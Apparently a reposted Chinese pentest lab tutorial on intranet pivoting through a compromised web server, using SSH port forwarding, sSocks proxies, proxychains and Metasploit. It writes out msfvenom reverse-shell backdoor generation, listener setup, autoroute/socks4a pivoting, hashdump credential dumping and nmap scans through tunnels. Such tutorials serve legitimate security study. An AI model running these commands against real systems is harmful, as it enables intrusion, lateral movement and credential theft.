内网基础-隧道技术内网穿透(SSH隧道Socket隧道跨路由扫描)
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网基础-隧道技术内网穿透(SSH隧道Socket隧道跨路由扫描)相关的知识,希望对你有一定的参考价值。
文章目录
环境搭建
分别是三个虚拟机(我这里用的两个ubuntu,一个kali)
因为web服务器有两个ip所以需要添加一个网卡,然后设置LAN区段
注:一开始lan区段是空的,手动添加一个就行
数据库服务器同样将网卡模式设置为LAN网段
分别进入web服务器虚拟机和数据库服务器虚拟机,将IPV4设置为手动
手动设置IP地址,子网掩码,网关为LAN网段,设置完毕后,ifconfig查看,如果没有改变,手动断开网络连接重连
ifconfig效果:
web服务器:
数据库服务器:
kali:
注:之后的实验均采用此拓扑结构(IP稍有不同)
所有图中正确的网关为:192.168.179.2
SSH隧道
这是整个网络的拓扑(web服务器已经被拿下),分析下可以得知
- 内网WEB服务器有公私网双IP
- 攻击者和web服务器处于同一网络(192),可以联通,攻击者(192段)和数据库服务器不可以联通(10段)
- web服务器和数据库服务器可以联通(10段)
所以现在的目的就是通过web服务器建立隧道,使攻击者可以联通数据库服务器
正向连接
远程侦听端口,访问转发到本机主机指定端口。在web服务器上执行ssh命令
ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1
# 命令解析:
ssh –CNfL <listen ip> <listen posrt> :<remote ip>:<remote port> WebServerUser(跳板机用户)@<ssh server> -p <ssh server port>
-C 压缩传输
-f 将SSH传输转入后台执行
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
运行命令,输入跳板机的ssh登陆密码,就可以了
映射成功后,攻击者使用浏览器访问web服务器(192.168.0.144)的7777端口,访问结果就是数据服务器的80端口的内容
反向隧道
1.web服务器执行以下命令:
ssh –qTfnN –R 2222:127.0.0.1:22 root@192.168.0.115
# 命令解析:
ssh -qTfnN -R port:host:hostport remoteuser@remote_ip
将本地22端口映射到攻击者的2222端口,执行之后需要输入remoteuser的密码
2.攻击者执行以下命令:
(注意要开启ssh服务,开启后执行以下操作)
ssh –p 2222 web@127.0.0.1
# 命令解析:
连接端口
反向隧道类似于反弹shell,将web服务器的ssh端口映射,对于Windows服务器可以映射3389端口(RDP)
ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140
kali上通过rdesktop连接本地的11111端口
rdesktop 127.0.0.1:11111
sockets代理
ssh -D '[::]:1080' JumpHost
SSH -qTfnN -D port remotehost
两种方法都没有成功
MSF端口映射
使用msf来完成正向连接和反向连接,原理都是一样的,拓扑还是之前的,不过这次web服务器是一个winserver
首先去拿shell
使用msf生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/ss.exe
kali监听对应端口
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit
端口映射
在winserver执行exe文件后拿到shell,在meterpreter中执行命令映射端口
portfwd add -L 192.168.0.115 -l 2020 -r 10.10.10.128 -p 80
-L localhost
-l localport
-r remote ip
-p remote port
直接将数据库服务器的80端口映射到了kali的2020端口,直接浏览器访问 http://192.168.0.115:2020 端口即可
转发端口
# meterpreter
portfwd add -l 5555 -p 3389 -r 192.168.0.144
-l localport
-r remote ip
-p remote port
rdesktop 127.1.1.0:5555
其他命令
查看列表
portfwd list
清空列表
portfwd flush
Socket隧道
拓扑
ssocks
sSocks是一个socks代理工具套装,可用来开启socks代理服务
下载连接:http://sourceforge.net/projects/ssocks
web服务器和kali都需要安装这款工具才能使用
下载之后进行编译,可以选择先下载到kali编译之后上传到web服务器,也可以直接在web服务器下载编译
./configure && make
src目录中存放了编译好的文件
反向代理
将远程计算机作为socks代理服务端,反弹回本地,方便内网的渗透测试
1.建立隧道
kali端:
./rcsocks -l 1088 -p 1080 -vv
-vv 获取详细信息
等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道,将本地的1088端口的流量转发到1080端口
web服务器端:
./rssocks -vv -s 192.168.179.128:1080
#接收192.168.179.128:1080端口的流量
输入命令后通道就建立完毕了
2.开启代理
proxychains代理链是Linux下一款代理设置工具,kali中默认安装,ubuntu需要使用命令apt-get install proxychains
安装
kali端修改配置文件:
/etc/proxychains.conf
注释socks4添加socks5(注意是socks5下图有误)
测试
proxychains ssh 127.0.0.1
输入密码连接后,成功连接ssh,查看本机ip
使用firefox
proxychains firefox 10.0.0.2
我这边是经过了多次测试才成功,可以先试一下ssh再curl,由于Ssocks不稳定,所以不建议使用
正向代理
web服务器如下命令创建代理并监听192.168.179.147(自己的IP)
./ssocksd --bind 192.168.179.147 --port 6020
在攻击主机编辑proxychains代理配置文件,添加代理配置信息:socks5 192.168.179.147 6020
vi /etc/proxychains.conf
执行如下命令,连接内网服务器,查看ip得知代理成功。
1proxychains ssh 127.0.0.1
扫描内网
用kali里边的nmap扫描
proxychains nmap -Pn -sT 10.0.0.2
MSF跨路由扫描
在Kali生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=12345 -f exe >/var/www/html/s.exe
生成完毕,通过webshell将文件上传至win服务器
kali进入msf,开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit
等win服务器那边点击了exe文件,这边就上线了
简单收集信息
-
查看当前用户
getuid
-
查看网卡信息
ifconfig
-
查看路由信息
run get_local_subnets
run autoroute -p
发现没有路由,接下来使用命令添加路由
增加路由
run autoroute -s 10.0.0.0/24
run autoroute -p
这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理
background 之后使用 socks4a 模块
use auxiliary/server/socks4a
set SRVPORT 10044
修改配置文件
vi /etc/prxoychains.conf
注释掉原来的,添加一条新的
socks4 192.168.179.128 10044
这样的话路由就添加完成了
可以使用nmap对10.0.0.2进行端口扫描
proxychains nmap -sT -Pn 10.0.0.2
也可以用hydra进行密码爆破
MSF其他模块
-
metasploit的主机发现模块
use auxiliary/scanner/discover/arp_sweep
-
hash收集
run hashdump
推荐阅读
以上是关于内网基础-隧道技术内网穿透(SSH隧道Socket隧道跨路由扫描)的主要内容,如果未能解决你的问题,请参考以下文章
红蓝对抗之隧道技术第二篇(reGeorg内网穿透SSH隧道本地Socks代理SSH远程转发Earthworm Socks5代理Tunna正向代理ICMP隧道DNS隧道Frp穿透)
红蓝对抗之隧道技术第一篇(内网穿透端口映射&端口转发Netsh端口转发CS正反向连接多层内网Burp设置上游代理访问内网MSF protfwd端口转发/重定向)